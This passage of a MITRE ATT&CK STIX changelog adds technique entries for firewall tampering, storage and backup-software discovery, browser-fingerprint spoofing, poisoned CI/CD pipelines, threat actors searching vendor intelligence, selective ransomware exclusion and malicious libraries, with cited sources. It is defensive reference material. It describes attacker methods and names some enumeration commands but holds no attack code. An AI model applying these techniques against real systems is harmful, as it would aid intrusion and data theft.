entirely or add, delete, or modify particular rules in order to bypass controls limiting network usage. \n \nModifying or disabling a network firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add new network firewall rules to allow access to all internal network subnets without restrictions.(Citation: Exposed Fortinet Fortigate firewall interface leads to LockBit Ransomware)\n\nAdversaries may gain access to the firewall management console via [Valid Accounts](https://attack.mitre.org/techniques/T1078) or by exploiting a vulnerability. In some cases, threat actors may target firewalls that have been exposed to the internet [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190).(Citation: CVE-2024-55591 Detail)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1562/013", + "external_id": "T1562.013" + }, + { + "source_name": "Exposed Fortinet Fortigate firewall interface leads to LockBit Ransomware", + "description": "InTheCyber. (2025, March 24). Exposed Fortinet Fortigate firewall interface leads to LockBit Ransomware (CVE-2024\u201355591). Retrieved September 22, 2025.", + "url": "https://posts.inthecyber.com/exposed-fortinet-fortigate-firewall-interface-leads-to-lockbit-ransomware-cve-2024-55591-de8fcfb6c45c" + }, + { + "source_name": "CVE-2024-55591 Detail", + "description": "NIST NVD. (2025, January 22). Retrieved September 22, 2025.", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55591" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Marco Pedrinazzi, @pedrinazziM, InTheCyber", + "Tommaso Tosi, @tosto92, InTheCyber" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f2514ae4-4e9b-4f26-a5ba-c4ae85fe93c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-09-25 21:09:38.677000+00:00", + "modified": "2025-10-22 02:09:54.940000+00:00", + "name": "Local Storage Discovery", + "description": "Adversaries may enumerate local drives, disks, and/or volumes and their attributes like total or free space and volume serial number. This can be done to prepare for ransomware-related encryption, to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0109), or as a precursor to [Direct Volume Access](https://attack.mitre.org/techniques/T1006). \n\nOn ESXi systems, adversaries may use [Hypervisor CLI](https://attack.mitre.org/techniques/T1059/012) commands such as `esxcli` to list storage connected to the host as well as `.vmdk` files.(Citation: TrendMicro)(Citation: TrendMicro ESXI Ransomware)\n\nOn Windows systems, adversaries can use `wmic logicaldisk get` to find information about local network drives. They can also use `Get-PSDrive` in PowerShell to retrieve drives and may additionally use Windows API functions such as `GetDriveType`.(Citation: Trend Micro MUSTANG PANDA PUBLOAD HIUPAN SEPTEMBER 2024)(Citation: Volexity)\n\nLinux has commands such as `parted`, `lsblk`, `fdisk`, `lshw`, and `df` that can list information about disk partitions such as size, type, file system types, and free space. The command `diskutil` on MacOS can be used to list disks while `system_profiler SPStorageDataType` can additionally show information such as a volume\u2019s mount path, file system, and the type of drive in the system. \n\nInfrastructure as a Service (IaaS) cloud providers also have commands for storage discovery such as `describe volume` in AWS, `gcloud compute disks list` in GCP, and `az disk list` in Azure.(Citation: AWS docs describe volumes)(Citation: GCP gcloud compute disks list)(Citation: azure az disk)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1680", + "external_id": "T1680" + }, + { + "source_name": "Volexity", + "description": "Ankur Saini, Charlie Gardner. (2023, June 28). Charming Kitten Updates POWERSTAR with an InterPlanetary Twist. Retrieved September 25, 2025.", + "url": "https://www.volexity.com/blog/2023/06/28/charming-kitten-updates-powerstar-with-an-interplanetary-twist/" + }, + { + "source_name": "AWS docs describe volumes", + "description": "AWS. (n.d.). describe-volumes. Retrieved October 20, 2025.", + "url": "https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-volumes.html" + }, + { + "source_name": "azure az disk", + "description": "Azure. (n.d.). az disk. Retrieved October 20, 2025.", + "url": "https://learn.microsoft.com/en-us/cli/azure/disk?view=azure-cli-latest" + }, + { + "source_name": "GCP gcloud compute disks list", + "description": "Google Cloud. (n.d.). gcloud compute disks list. Retrieved October 20, 2025.", + "url": "https://cloud.google.com/sdk/gcloud/reference/compute/disks/list" + }, + { + "source_name": "TrendMicro ESXI Ransomware", + "description": "Junestherry Dela Cruz. (2022, January 24). Analysis and Impact of LockBit Ransomware\u2019s First Linux and VMware ESXi Variant. Retrieved March 26, 2025.", + "url": "https://www.trendmicro.com/en_us/research/22/a/analysis-and-Impact-of-lockbit-ransomwares-first-linux-and-vmware-esxi-variant.html" + }, + { + "source_name": "Trend Micro MUSTANG PANDA PUBLOAD HIUPAN SEPTEMBER 2024", + "description": "Lenart Bermejo, Sunny Lu, Ted Lee. (2024, September 9). Earth Preta Evolves its Attacks with New Malware and Strategies. Retrieved August 4, 2025.", + "url": "https://www.trendmicro.com/en_us/research/24/i/earth-preta-new-malware-and-strategies.html" + }, + { + "source_name": "TrendMicro", + "description": "Mina Naiim. (2021, May 28). DarkSide on Linux: Virtual Machines Targeted. Retrieved March 26, 2025.", + "url": "https://www.trendmicro.com/en_us/research/21/e/darkside-linux-vms-targeted.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Liran Ravich, CardinalOps" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "IaaS", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--afac5dbc-4383-4fb6-9ba6-45b25d49e530", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-09-22 20:13:45.616000+00:00", + "modified": "2025-10-19 19:41:22.343000+00:00", + "name": "Browser Fingerprint", + "description": "Adversaries may attempt to blend in with legitimate traffic by spoofing browser and system attributes like operating system, system language, platform, user-agent string, resolution, time zone, etc. The HTTP\u00a0User-Agent\u00a0request header\u00a0is a string that lets servers and network peers identify the application, operating system, vendor, and/or version of the requesting\u00a0user agent.(Citation: Mozilla User Agent)\n\nAdversaries may gather this information through [System Information Discovery](https://attack.mitre.org/techniques/T1082) or by users navigating to adversary-controlled websites, and then use that information to craft their web traffic to evade defenses.(Citation: Gummy Browsers: Targeted Browser Spoofing against State-of-the-Art Fingerprinting Techniques)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1036/012", + "external_id": "T1036.012" + }, + { + "source_name": "Mozilla User Agent", + "description": "MDN contributors. (2025, July 4). User-Agent header. Retrieved October 19, 2025.", + "url": "https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/User-Agent" + }, + { + "source_name": "Gummy Browsers: Targeted Browser Spoofing against State-of-the-Art Fingerprinting Techniques", + "description": "Zengrui Liu, Prakash Shrestha, and Nitesh Saxena. (2021, October 19). Retrieved September 22, 2025.", + "url": "https://arxiv.org/pdf/2110.10129" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7655ac3b-dfde-49c5-a967-242856174434", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-05-22 20:01:16.611000+00:00", + "modified": "2025-10-21 02:38:29.636000+00:00", + "name": "Poisoned Pipeline Execution", + "description": "Adversaries may manipulate continuous integration / continuous development (CI/CD) processes by injecting malicious code into the build process. There are several mechanisms for poisoning pipelines: \n\n* In a Direct Pipeline Execution scenario, the threat actor directly modifies the CI configuration file (e.g., `gitlab-ci.yml` in GitLab). They may include a command to exfiltrate credentials leveraged in the build process to a remote server, or to export them as a workflow artifact.(Citation: Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025)(Citation: OWASP CICD-SEC-4)\n* In an Indirect Pipeline Execution scenario, the threat actor injects malicious code into files referenced by the CI configuration file. These may include makefiles, scripts, unit tests, and linters.(Citation: OWASP CICD-SEC-4)\n* In a Public Pipeline Execution scenario, the threat actor does not have direct access to the repository but instead creates a malicious pull request from a fork that triggers a part of the CI/CD pipeline. For example, in GitHub Actions, the `pull_request_target` trigger allows workflows running from forked repositories to access secrets. If this trigger is combined with an explicit pull request checkout and a location for a threat actor to insert malicious code (e.g., an `npm build` command), a threat actor may be able to leak pipeline credentials.(Citation: Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025)(Citation: GitHub Security Lab GitHub Actions Security 2021) Similarly, threat actors may craft pull requests with malicious inputs (such as branch names) if the build pipeline treats those inputs as trusted.(Citation: Wiz Ultralytics AI Library Hijack 2024)(Citation: Synactiv Hijacking GitHub Runners)(Citation: GitHub Security Labs GitHub Actions Security Part 2 2021) Finally, if a pipeline leverages a self-hosted runner, a threat actor may be able to execute arbitrary code on a host inside the organization\u2019s network.(Citation: John Stawinski PyTorch Supply Chain Attack 2024)\n\nBy poisoning CI/CD pipelines, threat actors may be able to gain access to credentials, laterally move to additional hosts, or input malicious components to be shipped further down the pipeline (i.e., [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195)). ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1677", + "external_id": "T1677" + }, + { + "source_name": "Synactiv Hijacking GitHub Runners", + "description": "Hugo Vincent. (2024, May 22). Hijacking GitHub runners to compromise the organization. Retrieved May 22, 2025.", + "url": "https://www.synacktiv.com/en/publications/hijacking-github-runners-to-compromise-the-organization" + }, + { + "source_name": "GitHub Security Lab GitHub Actions Security 2021", + "description": "Jaroslav Loba\u010devski. (2021, August 3). Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests. Retrieved May 22, 2025.", + "url": "https://securitylab.github.com/resources/github-actions-preventing-pwn-requests/" + }, + { + "source_name": "GitHub Security Labs GitHub Actions Security Part 2 2021", + "description": "Jaroslav Loba\u010devski. (2021, August 4). Keeping your GitHub Actions and workflows secure Part 2: Untrusted input. Retrieved May 22, 2025.", + "url": "https://securitylab.github.com/resources/github-actions-untrusted-input/" + }, + { + "source_name": "John Stawinski PyTorch Supply Chain Attack 2024", + "description": "John Stawinski IV. (2024, January 11). Playing with Fire \u2013 How We Executed a Critical Supply Chain Attack on PyTorch. Retrieved May 22, 2025.", + "url": "https://johnstawinski.com/2024/01/11/playing-with-fire-how-we-executed-a-critical-supply-chain-attack-on-pytorch/" + }, + { + "source_name": "Unit 42 Palo Alto GitHub Actions Supply Chain Attack 2025", + "description": "Omer Gilm Aviad Hahami, Asi Greenholts, and Yaron Avital. (2025, March 20). GitHub Actions Supply Chain Attack: A Targeted Attack on Coinbase Expanded to the Widespread tj-actions/changed-files Incident: Threat Assessment . Retrieved May 22, 2025.", + "url": "https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack" + }, + { + "source_name": "OWASP CICD-SEC-4", + "description": "OWASP. (n.d.). CICD-SEC-4: Poisoned Pipeline Execution (PPE). Retrieved May 22, 2025.", + "url": "https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution" + }, + { + "source_name": "Wiz Ultralytics AI Library Hijack 2024", + "description": "Wiz Threat Research. (2024, December 9). Ultralytics AI Library Hacked via GitHub for Cryptomining. Retrieved May 22, 2025.", + "url": "https://www.wiz.io/blog/ultralytics-ai-library-hacked-via-github-for-cryptomining" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Arun Seelagan, CISA" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--63b24abc-5702-4745-b1e4-ac70b20a43f2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-09-26 15:42:30.468000+00:00", + "modified": "2025-10-24 17:48:51.996000+00:00", + "name": "Search Threat Vendor Data", + "description": "Threat actors may seek information/indicators from closed or open threat intelligence sources gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. These reports may include descriptions of behavior, detailed breakdowns of attacks, atomic indicators such as malware hashes or IP addresses, timelines of a group\u2019s activity, and more. Adversaries may change their behavior when planning their future operations. \n\nAdversaries have been observed replacing atomic indicators mentioned in blog posts in under a week.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023) Adversaries have also been seen searching for their own domain names in threat vendor data and then taking them down, likely to avoid seizure or further investigation.(Citation: Sentinel One Contagious Interview ClickFix September 2025)\n\nThis technique is distinct from [Threat Intel Vendors](https://attack.mitre.org/techniques/T1597/001) in that it describes threat actors performing reconnaissance on their own activity, not in search of victim information. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1681", + "external_id": "T1681" + }, + { + "source_name": "Sentinel One Contagious Interview ClickFix September 2025", + "description": "Aleksandar Milenkoski, Sreekar Madabushi, Kenneth Kinion. (2025, September 4). Contagious Interview | North Korean Threat Actors Reveal Plans and Ops by Abusing Cyber Intel Platforms. Retrieved October 20, 2025.", + "url": "https://www.sentinelone.com/labs/contagious-interview-threat-actors-scout-cyber-intel-platforms-reveal-plans-and-ops/" + }, + { + "source_name": "Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023", + "description": "Alexander Marvi, Brad Slaybaugh, Ron Craft, and Rufus Brown. (2023, June 13). VMware ESXi Zero-Day Used by Chinese Espionage Actor to Perform Privileged Guest Operations on Compromised Hypervisors. Retrieved March 26, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/vmware-esxi-zero-day-bypass/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--9b00925a-7c4b-4e53-bfc8-9a6a806fde03", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-09-25 14:45:54.760000+00:00", + "modified": "2025-10-22 03:50:30.406000+00:00", + "name": "Selective Exclusion", + "description": "Adversaries may intentionally exclude certain files, folders, directories, file types, or system components from encryption or tampering during a ransomware or malicious payload execution. Some file extensions that adversaries may avoid encrypting include `.dll`, `.exe`, and `.lnk`.(Citation: Palo Alto Unit 42 Medusa Group Medusa Ransomware January 2024) \n\nAdversaries may perform this behavior to avoid alerting users, to evade detection by security tools and analysts, or, in the case of ransomware, to ensure that the system remains operational enough to deliver the ransom notice. \n\nExclusions may target files and components whose corruption would cause instability, break core services, or immediately expose the attack. By carefully avoiding these areas, adversaries maintain system responsiveness while minimizing indicators that could trigger alarms or otherwise inhibit achieving their goals. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1679", + "external_id": "T1679" + }, + { + "source_name": "Palo Alto Unit 42 Medusa Group Medusa Ransomware January 2024", + "description": "Anthony Galiette, Doel Santos. (2024, January 11). Medusa Ransomware Turning Your Files into Stone. Retrieved October 15, 2025.", + "url": "https://unit42.paloaltonetworks.com/medusa-ransomware-escalation-new-leak-site/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4a6cfdae-1417-40c7-a84e-f59d21c58266", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-05-22 18:57:47.616000+00:00", + "modified": "2025-10-22 03:53:48.786000+00:00", + "name": "Backup Software Discovery", + "description": "Adversaries may attempt to get a listing of backup software or configurations that are installed on a system. Adversaries may use this information to shape follow-on behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486). \n\nCommands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), `reg query` with [Reg](https://attack.mitre.org/software/S0075), `dir` with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for, such as Veeam, Acronis, Dropbox, or Paragon.(Citation: Symantec Play Ransomware 2023)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1518/002", + "external_id": "T1518.002" + }, + { + "source_name": "Symantec Play Ransomware 2023", + "description": "Symantec Threat Hunter Team. (2023, April 19). Play Ransomware Group Using New Custom Data-Gathering Tools. Retrieved May 22, 2025.", + "url": "https://www.security.com/threat-intelligence/play-ransomware-volume-shadow-copy" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Florian Heigl" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_version": "1.0" + }, + { + "type": "attack-pattern", + "id": "attack-pattern--73b24a10-6bf4-4af1-a81e-67b8bcb6c4e6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-05-22 19:50:18.472000+00:00", + "modified": "2025-05-22 21:22:40.822000+00:00", + "name": "Malicious Library", + "description": "Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may [Upload Malware](https://attack.mitre.org/techniques/T1608/001) to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency.(Citation: Datadog Security Labs Malicious PyPi Packages 2024)(Citation: Fortinet Malicious NPM Packages 2023)\n\nIn some cases, threat actors may compromise and backdoor existing popular libraries (i.e., [Compromise Software Dependencies and Development Tools](https://attack.mitre.org/techniques/T1195/001)). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1204/005", + "external_id": "T1204.005" + }, + { + "source_name": "Datadog Security Labs Malicious PyPi Packages 2024", + "description": " Sebastian Obregoso and Christophe Tafani-Dereeper. (2024, May 23). Malicious PyPI packages targeting highly specific MacOS machines. Retrieved May 22, 2025.", + "url": "https://securitylabs.datadoghq.com/articles/malicious-pypi-package-targeting-highly-specific-macos-machines/" + }, + { + "source_name": "Fortinet Malicious NPM Packages 2023", + "description": "Jin Lee and Jenna Wang. (2023, October 2). Malicious Packages Hidden in NPM. Retrieved May 22, 2025.", + "url": "https://www.fortinet.com/blog/threat-research/malicious-packages-hiddin-in-npm" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_remote_support": false, + "x_mitre_version": "1.0" + } + ], + "major_version_changes": [ + { + "type": "attack-pattern", + "id": "attack-pattern--51e54974-a541-4fb6-a61b-0518e4c6de41", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 17:03:45.918000+00:00", + "modified": "2025-10-24 17:48:46.954000+00:00", + "name": "Threat Intel Vendors", + "description": "Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)\n\nAdversaries may search in private threat intelligence vendor data to gather actionable information. If a threat actor is searching for information on their own activities, that falls under [Search Threat Vendor Data](https://attack.mitre.org/techniques/T1681). Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1597/001", + "external_id": "T1597.001" + }, + { + "source_name": "D3Secutrity CTI Feeds", + "description": "Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020.", + "url": "https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:46.954000+00:00\", \"old_value\": \"2025-04-15 23:16:02.261000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)\\n\\nAdversaries may search in private threat intelligence vendor data to gather actionable information. If a threat actor is searching for information on their own activities, that falls under [Search Threat Vendor Data](https://attack.mitre.org/techniques/T1681). Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).\", \"old_value\": \"Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)\\n\\nAdversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)\\n \\n-Adversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).\\n+Adversaries may search in private threat intelligence vendor data to gather actionable information. If a threat actor is searching for information on their own activities, that falls under [Search Threat Vendor Data](https://attack.mitre.org/techniques/T1681). Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may search private data from threat intelligencet1Adversaries may search private data from threat intelligence
> vendors for information that can be used during targeting. > vendors for information that can be used during targeting. 
>Threat intelligence vendors may offer paid feeds or portals >Threat intelligence vendors may offer paid feeds or portals 
>that offer more data than what is publicly reported. Althoug>that offer more data than what is publicly reported. Althoug
>h sensitive details (such as customer names and other identi>h sensitive details (such as customer names and other identi
>fiers) may be redacted, this information may contain trends >fiers) may be redacted, this information may contain trends 
>regarding breaches such as target industries, attribution cl>regarding breaches such as target industries, attribution cl
>aims, and successful TTPs/countermeasures.(Citation: D3Secut>aims, and successful TTPs/countermeasures.(Citation: D3Secut
